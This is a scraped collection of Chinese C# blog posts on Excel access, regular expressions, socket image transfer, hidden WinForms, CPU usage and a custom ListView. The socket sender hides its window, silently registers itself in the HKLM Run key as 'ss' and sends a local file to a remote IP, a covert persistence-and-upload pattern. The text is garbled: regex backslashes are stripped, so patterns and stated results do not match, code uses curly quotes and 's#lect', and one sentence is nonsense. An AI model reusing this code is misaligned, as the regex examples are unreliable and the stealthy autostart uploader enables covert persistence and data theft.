【C#】 对Excel的操作

这几天为了能在Excel里读写数据,纠结了好几天,不过还是得到了解决:
读取Excel数据:
(1)连接Excel文件。
private static DataSet ds;
private static OleDbDataAdapter adapter;
///

 

///
///

///Excel文件路径 private static void InitExcel(string ExcelPath)
{
try
{
string conn = @”Provider=Microsoft.Jet.OLEDB.4.0;Data Source=” + ExcelPath + “;” + “Extended Properties=Excel 8.0”;
ds = new DataSet();
adapter = new OleDbDataAdapter(“s#lect * from [Sheet1$]”, conn);
adapter.Fill(ds, “tableL”);
}
catch (Exception e)
{
string ss = e.Message;
MessageBox.Show(ss);
}
}
(2)读数据。
public static string ExcelRowData(string ExcelPath, int index_Column)
{
InitExcel(ExcelPath);
System.Data.DataTable table = ds.Tables[0];
DataRow row = table.Rows[0];
string ReturnValue = row[index_Column].ToString();
return ReturnValue;
}
添加数据:
(1)初始化
private static Microsoft.Office.Interop.Excel.Application MyExcel;
private static Workbook wb;
private static Worksheet ws;
public static void InitExcel(string ExcelPath)
{
MyExcel = new Microsoft.Office.Interop.Excel.Application();
object Missing = System.Reflection.Missing.Value;
object No = false;
object Yes = true;
MyExcel.Workbooks.Open(ExcelPath, Yes, No, Missing, Missing, Missing, Yes, Missing, Missing, Missing, Missing, Missing, Missing, Missing, Missing);
wb = MyExcel.Workbooks[1];
ws = wb.Worksheets[1];
}
(2)添加列
public static void AddExcelColumn(string SQLName, int index)
{
try
{
ws.Cells[1, index] = SQLName;
}
catch (Exception e)
{
string es = e.Message;
}
}
(3)添加行数据
public static void AddExcelValue(string Value, int index_Column)
{
try
{
ws.Cells[2, index_Column] = Value;
}
catch (Exception e)
{
string es = e.Message;
}
}
(4)退出操作
public static void CloseExcel()
{
wb.Save();
wb.Close(null, null, null);
MyExcel.Workbooks.Close();
MyExcel.Quit();
MyExcel = null;
wb = null;
ws = null;
}
完毕!请大家多给意见。

【C#】 正则表达式

(1)“@”符号
符下两ows表研究室的火热,当晨在“@”虽然并非C#正则表达式的“成员”,但是它经常与C#正则表达式出双入对。“@”表示,跟在它后面的字符串是个“逐字字符串”,不是很好理解,举个例子,以下两个声明是等效的:
string x=”D:\My Huang\My Doc”;
string y = @”D:My HuangMy Doc”;
事实上,如果按如下声明,C#将会报错,因为“”在C#中用于实现转义,如“n”换行:
string x = “D:My HuangMy Doc”;

(2)基本的语法字符。
d 0-9的数字
D d的补集(以所以字符为全集,下同),即所有非数字的字符
w 单词字符,指大小写字母、0-9的数字、下划线
W w的补集
s 空白字符,包括换行符n、回车符r、制表符t、垂直制表符v、换页符f
S s的补集
. 除换行符n外的任意字符
[…] 匹配[]内所列出的所有字符
[^…] 匹配非[]内所列出的字符

下面提供一些简单的示例:

string i = "n";
string m = "3";
Regex r = new Regex(@"D");
//同Regex r = new Regex("\D");
//r.IsMatch(i)结果:true
//r.IsMatch(m)结果:false

string i = "%";
string m = "3";
Regex r = new Regex("[a-z0-9]");
//匹配小写字母或数字字符
//r.IsMatch(i)结果:false
//r.IsMatch(m)结果:true

(3)定位字符

“定位字符”所代表的是一个虚的字符,它代表一个位置,你也可以直观地认为“定位字符”所代表的是某个字符与字符间的那个微小间隙。
^ 表示其后的字符必须位于字符串的开始处
$ 表示其前面的字符必须位于字符串的结束处
b 匹配一个单词的边界
B 匹配一个非单词的边界
另外,还包括:A 前面的字符必须位于字符处的开始处,z 前面的字符必须位于字符串的结束处,Z 前面的字符必须位于字符串的结束处,或者位于换行符前

下面提供一些简单的示例:

string i = "Live for nothing,die for something";
Regex r1 = new Regex("^Live for nothing,die for something$");
//r1.IsMatch(i) true
Regex r2 = new Regex("^Live for nothing,die for some$");
//r2.IsMatch(i) false
Regex r3 = new Regex("^Live for nothing,die for some");
//r3.IsMatch(i) true

string i = @"Live for nothing,
die for something";//多行
Regex r1 = new Regex("^Live for nothing,die for something$");
Console.WriteLine("r1 match count:" + r1.Matches(i).Count);//0
Regex r2 = new Regex("^Live for nothing,die for something$", RegexOptions.Multiline);
Console.WriteLine("r2 match count:" + r2.Matches(i).Count);//0
Regex r3 = new Regex("^Live for nothing,rndie for something$");
Console.WriteLine("r3 match count:" + r3.Matches(i).Count);//1
Regex r4 = new Regex("^Live for nothing,$");
Console.WriteLine("r4 match count:" + r4.Matches(i).Count);//0
Regex r5 = new Regex("^Live for nothing,$", RegexOptions.Multiline);
Console.WriteLine("r5 match count:" + r5.Matches(i).Count);//0
Regex r6 = new Regex("^Live for nothing,rn$");
Console.WriteLine("r6 match count:" + r6.Matches(i).Count);//0
Regex r7 = new Regex("^Live for nothing,rn$", RegexOptions.Multiline);
Console.WriteLine("r7 match count:" + r7.Matches(i).Count);//0
Regex r8 = new Regex("^Live for nothing,r$");
Console.WriteLine("r8 match count:" + r8.Matches(i).Count);//0
Regex r9 = new Regex("^Live for nothing,r$", RegexOptions.Multiline);
Console.WriteLine("r9 match count:" + r9.Matches(i).Count);//1
Regex r10 = new Regex("^die for something$");
Console.WriteLine("r10 match count:" + r10.Matches(i).Count);//0
Regex r11 = new Regex("^die for something$", RegexOptions.Multiline);
Console.WriteLine("r11 match count:" + r11.Matches(i).Count);//1
Regex r12 = new Regex("^");
Console.WriteLine("r12 match count:" + r12.Matches(i).Count);//1
Regex r13 = new Regex("$");
Console.WriteLine("r13 match count:" + r13.Matches(i).Count);//1
Regex r14 = new Regex("^", RegexOptions.Multiline);
Console.WriteLine("r14 match count:" + r14.Matches(i).Count);//2
Regex r15 = new Regex("$", RegexOptions.Multiline);
Console.WriteLine("r15 match count:" + r15.Matches(i).Count);//2
Regex r16 = new Regex("^Live for nothing,r$n^die for something$", RegexOptions.Multiline);
Console.WriteLine("r16 match count:" + r16.Matches(i).Count);//1
//对于一个多行字符串,在设置了Multiline选项之后,^和$将出现多次匹配。

string i = "Live for nothing,die for something";
string m = "Live for nothing,die for some thing";
Regex r1 = new Regex(@"bthingb");
Console.WriteLine("r1 match count:" + r1.Matches(i).Count);//0
Regex r2 = new Regex(@"thingb");
Console.WriteLine("r2 match count:" + r2.Matches(i).Count);//2
Regex r3 = new Regex(@"bthingb");
Console.WriteLine("r3 match count:" + r3.Matches(m).Count);//1
Regex r4 = new Regex(@"bfor somethingb");
Console.WriteLine("r4 match count:" + r4.Matches(i).Count);//1
//b通常用于约束一个完整的单词

(4)重复描述字符
“重复描述字符”是体现C#正则表达式“很好很强大”的地方之一:
{n} 匹配前面的字符n次
{n,} 匹配前面的字符n次或多于n次
{n,m} 匹配前面的字符n到m次
? 匹配前面的字符0或1次
+ 匹配前面的字符1次或多于1次
* 匹配前面的字符0次或式于0次

以下提供一些简单的示例:

string x = "1024";
string y = "+1024";
string z = "1,024";
string a = "1";
string b="-1024";
string c = "10000";
Regex r = new Regex(@"^+?[1-9],?d{3}$");
Console.WriteLine("x match count:" + r.Matches(x).Count);//1
Console.WriteLine("y match count:" + r.Matches(y).Count);//1
Console.WriteLine("z match count:" + r.Matches(z).Count);//1
Console.WriteLine("a match count:" + r.Matches(a).Count);//0
Console.WriteLine("b match count:" + r.Matches(b).Count);//0
Console.WriteLine("c match count:" + r.Matches(c).Count);//0
//匹配1000到9999的整数。

5)择一匹配
C#正则表达式中的 (|) 符号似乎没有一个专门的称谓,姑且称之为“择一匹配”吧。事实上,像[a-z]也是一种择一匹配,只不过它只能匹配单个字符,而(|)则提供了更大的范围,(ab|xy)表示匹配ab或匹配xy。注意“|”与“()”在此是一个整体。

下面提供一些简单的示例:

string x = "0";
string y = "0.23";
string z = "100";
string a = "100.01";
string b = "9.9";
string c = "99.9";
string d = "99.";
string e = "00.1";
Regex r = new Regex(@"^+?((100(.0+)*)|([1-9]?[0-9])(.d+)*)$");
Console.WriteLine("x match count:" + r.Matches(x).Count);//1
Console.WriteLine("y match count:" + r.Matches(y).Count);//1
Console.WriteLine("z match count:" + r.Matches(z).Count);//1
Console.WriteLine("a match count:" + r.Matches(a).Count);//0
Console.WriteLine("b match count:" + r.Matches(b).Count);//1
Console.WriteLine("c match count:" + r.Matches(c).Count);//1
Console.WriteLine("d match count:" + r.Matches(d).Count);//0
Console.WriteLine("e match count:" + r.Matches(e).Count);//0
//匹配0到100的数。最外层的括号内包含两部分“(100(.0+)*)”,“([1-9]?[0-9])(.d+)*”,这两部分是“OR”的关系,即正则表达式引擎会先尝试匹配100,如果失败,则尝试匹配后一个表达式(表示[0,100)范围中的数字)。

6)特殊字符的匹配
下面提供一些简单的示例:

string x = "\";
Regex r1 = new Regex("^\\$");
Console.WriteLine("r1 match count:" + r1.Matches(x).Count);//1
Regex r2 = new Regex(@"^\$");
Console.WriteLine("r2 match count:" + r2.Matches(x).Count);//1
Regex r3 = new Regex("^\$");
Console.WriteLine("r3 match count:" + r3.Matches(x).Count);//0
//匹配“”

string x = """;
Regex r1 = new Regex("^"$");
Console.WriteLine("r1 match count:" + r1.Matches(x).Count);//1
Regex r2 = new Regex(@"^""$");
Console.WriteLine("r2 match count:" + r2.Matches(x).Count);//1
//匹配双引号

(7)组与非捕获组
以下提供一些简单的示例:

string x = "Live for nothing,die for something";
string y = "Live for nothing,die for somebody";
Regex r = new Regex(@"^Live ([a-z]{3}) no([a-z]{5}),die 1 some2$");
Console.WriteLine("x match count:" + r.Matches(x).Count);//1
Console.WriteLine("y match count:" + r.Matches(y).Count);//0
//正则表达式引擎会记忆“()”中匹配到的内容,作为一个“组”,并且可以通过索引的方式进行引用。表达式中的“1”,用于反向引用表达式中出现的第一个组,即粗体标识的第一个括号内容,“2”则依此类推。

string x = "Live for nothing,die for something";
Regex r = new Regex(@"^Live for no([a-z]{5}),die for some1$");
if (r.IsMatch(x))
{
    Console.WriteLine("group1 value:" + r.Match(x).Groups[1].Value);//输出:thing
}
//获取组中的内容。注意,此处是Groups[1],因为Groups[0]是整个匹配的字符串,即整个变量x的内容。

string x = "Live for nothing,die for something";
Regex r = new Regex(@"^Live for no(?<g1>[a-z]{5}),die for some1$");
if (r.IsMatch(x))
{
    Console.WriteLine("group1 value:" + r.Match(x).Groups["g1"].Value);//输出:thing
}
//可根据组名进行索引。使用以下格式为标识一个组的名称(?<groupname>…)。

string x = "Live for nothing nothing";
Regex r = new Regex(@"([a-z]+) 1");
if (r.IsMatch(x))
{
    x = r.Replace(x, "$1");
    Console.WriteLine("var x:" + x);//输出:Live for nothing
}
//删除原字符串中重复出现的“nothing”。在表达式之外,使用“$1”来引用第一个组,下面则是通过组名来引用:
string x = "Live for nothing nothing";
Regex r = new Regex(@"(?<g1>[a-z]+) 1");
if (r.IsMatch(x))
{
    x = r.Replace(x, "${g1}");
    Console.WriteLine("var x:" + x);//输出:Live for nothing
}

string x = "Live for nothing";
Regex r = new Regex(@"^Live for no(?:[a-z]{5})$");
if (r.IsMatch(x))
{
    Console.WriteLine("group1 value:" + r.Match(x).Groups[1].Value);//输出:(空)
}
//在组前加上“?:”表示这是个“非捕获组”,即引擎将不保存该组的内容。

(8)贪婪与非贪婪
正则表达式的引擎是贪婪,只要模式允许,它将匹配尽可能多的字符。通过在“重复描述字符”(*,+)后面添加“?”,可以将匹配模式改成非贪婪。

请看以下示例:

string x = "Live for nothing,die for something";
Regex r1 = new Regex(@".*thing");
if (r1.IsMatch(x))
{
    Console.WriteLine("match:" + r1.Match(x).Value);//输出:Live for nothing,die for something
}
Regex r2 = new Regex(@".*?thing");
if (r2.IsMatch(x))
{
    Console.WriteLine("match:" + r2.Match(x).Value);//输出:Live for nothing
}

(9)回溯与非回溯
使用“(?>…)”方式进行非回溯声明。由于正则表达式引擎的贪婪特性,导致它在某些情况下,将进行回溯以获得匹配,

请看下面的示例:

string x = "Live for nothing,die for something";
Regex r1 = new Regex(@".*thing,");
if (r1.IsMatch(x))
{
    Console.WriteLine("match:" + r1.Match(x).Value);//输出:Live for nothing,
}
Regex r2 = new Regex(@"(?>.*)thing,");
if (r2.IsMatch(x))//不匹配
{
    Console.WriteLine("match:" + r2.Match(x).Value);
}
//在r1中,“.*”由于其贪婪特性,将一直匹配到字符串的最后,随后匹配“thing”,但在匹配“,”时失败,此时引擎将回溯,并在“thing,”处匹配成功。
在r2中,由于强制非回溯,所以整个表达式匹配失败。

(10)正向预搜索、反向预搜索
正向预搜索声明格式:正声明 “(?=…)”,负声明 “(?!…)” ,声明本身不作为最终匹配结果的一部分,

请看下面的示例:

string x = "1024 used 2048 free";
Regex r1 = new Regex(@"d{4}(?= used)");
if (r1.Matches(x).Count==1)
{
    Console.WriteLine("r1 match:" + r1.Match(x).Value);//输出:1024
}
Regex r2 = new Regex(@"d{4}(?! used)");
if (r2.Matches(x).Count==1)
{
    Console.WriteLine("r2 match:" + r2.Match(x).Value); //输出:2048
}
//r1中的正声明表示必须保证在四位数字的后面必须紧跟着“ used”,r2中的负声明表示四位数字之后不能跟有“ used”。

 

【c#】如何通过socket传输图片

发送端

using Microsoft.Win32;

using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Data.SqlClient;
using System.Configuration;
using System.Net.NetworkInformation;

#endregion

///

/// 应用程序的主入口点。
///

 

public string StrIp = “”;

System.Net.Sockets.Socket sendsocket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp);

// *********************************************************************************************最小化托盘
this.Hide();
this.ShowInTaskbar = false;
string starupPath = Application.ExecutablePath;
RegistryKey loca = Registry.LocalMachine;
RegistryKey run = loca.CreateSubKey(“SOFTWARE\Microsoft\Windows\CurrentVersion\Run”);
try
{
run.SetValue(“ss”, starupPath);
//MessageBox.Show(“开机自动启动设置成功!!”, “提示”, MessageBoxButtons.OK, MessageBoxIcon.Information)
loca.Close();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message.ToString(), “提示”, MessageBoxButtons.OK, MessageBoxIcon.Error);
}
// ****************************************************************************************最小化托盘

//实例化socket
System.Net.IPEndPoint ipendpiont = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(StrIp.Replace(“‘”, “””).Trim()),8080);
try
{
sendsocket.Connect(ipendpiont);
}
catch (Exception se)
{
// MessageBox.Show(“连接错误” + se.Message, “提示信息”, MessageBoxButtons.RetryCancel, MessageBoxIcon.Information);
sendsocket.Close();
return;
}
try
{
//
//建立终结点
System.IO.FileStream fs = new System.IO.FileStream(“d:\新建文件夹\a.jpg”, System.IO.FileMode.OpenOrCreate, System.IO.FileAccess.Read);
byte[] fssize = new byte[fs.Length];
System.IO.BinaryReader strread = new System.IO.BinaryReader(fs);
strread.Read(fssize, 0, fssize.Length – 1);
sendsocket.Send(fssize);
fs.Close();
sendsocket.Shutdown(System.Net.Sockets.SocketShutdown.Send);
sendsocket.Close();
//
}
catch (Exception ex)
{
string s = ex.ToString();
return;
}
finally
{
//强制关闭发送连接
sendsocket.Close();
}

#region 时钟连接
private void timer1_Tick(object sender, EventArgs e)
{
if (sendsocket.Connected)
{
this.label1.Text = “连接成功”;
}
else
{
return;
}
}
#endregion

接收端

using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;

using System.Drawing;
using System.Text;
using System.Net;
using System.IO;
using System.Net.Sockets;
using System.Drawing.Imaging;
using System.Threading;
using Microsoft.Win32;
using System.Data.SqlClient;

public partial class Admin_FilmPic : System.Web.UI.Page
{
System.Net.Sockets.Socket receivesocket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp);
System.Net.IPEndPoint hostipendpoint = new System.Net.IPEndPoint(System.Net.IPAddress.Any, 8080);

#region 初始化
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{

}
}
#endregion

#region 监听和连接
//监听和连接
protected void Button2_Click(object sender, EventArgs e)
{

try
{

//设置接收数据缓冲区的大小
byte[] b = new byte[1024 * 4]; //1024* 4
receivesocket.Bind(hostipendpoint);
//监听
receivesocket.Listen(2);
this.Label1.Text = “已经开始监听”;
System.Net.Sockets.Socket hostsocket = receivesocket.Accept();
//如何确定该数组大小
System.IO.MemoryStream fs = new System.IO.MemoryStream();

int got = 0;
int datalength = 0;

while (true)
{
got = hostsocket.Receive(b);
fs.Write(b, 0, got);
if (got > 0)
datalength = datalength + got;
else
break;
}
Bitmap Img = new Bitmap(fs);
Img.Save(Server.MapPath(Request.ApplicationPath) + “\pic\a.jpg”, ImageFormat.Jpeg);
string aa = Server.MapPath(Request.ApplicationPath) + “\pic\a.jpg”;
this.Image1.ImageUrl = aa;
this.Image1.Width = 600;
this.Image1.Height = 400;
//关闭写文件流
fs.Close();
//关闭接收数据的Socket
hostsocket.Shutdown(System.Net.Sockets.SocketShutdown.Receive);
hostsocket.Close();
//关闭发送连接
receivesocket.Close();
// this.Response.Write(““);

}
catch (Exception se)
{
receivesocket.Close();
this.Response.Write(“连接错误” + se.ToString());
return;
}
finally
{
//强制关闭发送连接
receivesocket.Close();
}
}

#endregion
}

【C#】 Winform窗体自动运行隐藏

最近几天都在测试项目距,突然发现winform窗体的隐藏和MFC窗体的隐藏不一样,MFC窗体隐藏只要直接掉类库函数引用就可以了,而winform的却不一样,一开始采用窗体的方法hide,运行时根本就不会隐藏。经过网上查资料:原来可以采用如下方法就可以隐藏.

一:在program.cs文件中:

   注:Client为启动的窗口

       private static ApplicationContext context;
       [STAThread]
       static void Main()
       {
           Application.EnableVisualStyles();
           Application.SetCompatibleTextRenderingDefault(false);
           Client Dlg = new Client();
           Dlg.Size = new System.Drawing.Size(0, 0);

           Dlg.Show();
           Dlg.Visible = false;

           context = new ApplicationContext();
           context.ThreadExit += new EventHandler(context_ThreadExit);
           Application.Run(context);  //应用程序运行的主程序是context而窗口就相当于一个“副”程序了。(个人理解)
       }

二:虽然这样设置,还是会出现窗体显示的一瞬间,但是可以采用窗口的模式为:

   FormBorderStyle=None;就可以了。

运行时就会看不到窗体了。

【C#】 WinForm CPU占用过高

原因:程序中因为使用ThreadPool 多线程操作.Form.Invoke 用了很多,造成CPU占用 90%以上,甚至程序假死….. 我一度去掉所有lock数据库操作什么的代码,都没大的改善…..

解决方法:
每次调用完后. 让她睡个300毫秒(System.Threading.Thread.Sleep(300) ,你可以设置更小.) 整个世界清静了,CPU没超过10%.

【C#】 自定义控件(使用组件)

通过自己对C#的学习,特别是在winForm中,让想自己收获很大。如:当你在winForm中使用自定义的控件,若使用自带的控件(拖),会受到很大的限制。只有通过自己代码的创建,运用起来才方便。因此我使用了C#的组件(DLL)专门创建自定义控件。代码如下:

internal class MakeListView
{
private static Form NewForm;
private static ListView NewListView;
private static ListViewItem lvi;
private static bool check=false;

public static Form form
{
set
{
NewForm = value;
}
}

private static void InitListView()
{
NewListView = new System.Windows.Forms.ListView();
}

public static void CreateListView()
{
InitListView();

NewListView.Location = new System.Drawing.Point(2, 72);
NewListView.Dock = System.Windows.Forms.DockStyle.Fill;
NewListView.Name = “NewListView”;
NewListView.TabIndex = 1;
int x = NewForm.Size.Width;
int y = NewForm.Size.Height;
NewListView.Size = new System.Drawing.Size(x – 110, y – 110);
NewListView.Scrollable = true; //important
NewListView.GridLines = true;
//NewListView.LabelEdit = true;
NewListView.FullRowSelect = true;
NewListView.HeaderStyle = ColumnHeaderStyle.Clickable;
NewListView.AutoArrange = true; //important
NewListView.Anchor = AnchorStyles.Top & AnchorStyles.Left; //important
NewListView.UseCompatibleStateImageBehavior = false;
NewListView.View = System.Windows.Forms.View.Details;
NewListView.Hide();
NewListView.ItemSelectionChanged += new ListViewItemSelectionChangedEventHandler(NewListView_ItemSelectionChanged);

AddColumn();

NewForm.Controls.Add(NewListView);
}

static void NewListView_ItemSelectionChanged(object sender, ListViewItemSelectionChangedEventArgs e)
{
check = true;
}

private static void AddColumn()
{
NewListView.Columns.Add(“Page_Element”, 100, System.Windows.Forms.HorizontalAlignment.Center);
NewListView.Columns.Add(“User_Custom_Element”, 100, System.Windows.Forms.HorizontalAlignment.Center);
NewListView.Columns.Add(“Value”, 100, System.Windows.Forms.HorizontalAlignment.Center);
NewListView.Columns.Add(“Type”, 100, System.Windows.Forms.HorizontalAlignment.Center);
NewListView.Columns.Add(“Event”, 100, System.Windows.Forms.HorizontalAlignment.Center);
}

public static void insertItem(string[] itemData)
{
NewListView.Items.Add(new System.Windows.Forms.ListViewItem(itemData));
}

public static void ChangeItem(string UserCoutom, string Value)
{
if (check)
{
try
{
lvi = NewListView.SelectedItems[0]; //important
lvi.SubItems[1].Text = UserCoutom;
lvi.SubItems[2].Text = Value;
string PageElement = lvi.SubItems[0].Text;
check = false;
xmlElement(PageElement, UserCoutom);
UrlElement(PageElement, Value);
}
catch (Exception e)
{
MessageBox.Show(e.Message);
}
}
else
{
MessageBox.Show(“Please Checked Item!”);
}
}

public static void AddInvoke()
{
if (check)
{
try
{
lvi = NewListView.SelectedItems[0];
lvi.SubItems[4].Text = “Yes”;
check = false;
string type = lvi.SubItems[3].Text;

xmlElement(“submit”, type);
FinishSubmit(type);
MakeTemplate.WebUrlShow(true);
DeleteItemAll();
}
catch (Exception e)
{
MessageBox.Show(e.Message);
}
}
else
{
MessageBox.Show(“Please Checked Item!”);
}
}

private static void xmlElement(string PageElement, string UserElement)
{
MakeTemplate.CreateElem(PageElement, UserElement);
}

private static void FinishSubmit(string type)
{
MakeTemplate.ComplateInvoke(type);
}

private static void UrlElement(string PageElement, string Value)
{
MakeTemplate.ChangeElementValue(PageElement, Value);
}

public static void DeleteItem(int index)
{
NewListView.Items.RemoveAt(index);
}

public static void DeleteItemAll()
{
NewListView.Items.Clear();
}

public static void ShowListView(bool Show_Hide)
{
if (Show_Hide)
{
if (NewListView != null)
{
NewListView.Show();
}
else
{
return;
}
}
else
{
if (NewListView != null)
{
NewListView.Hide();
}
else
{
return;
}
}
}
}

调用时: MakeListView.form = ;
MakeListView.CreateListView();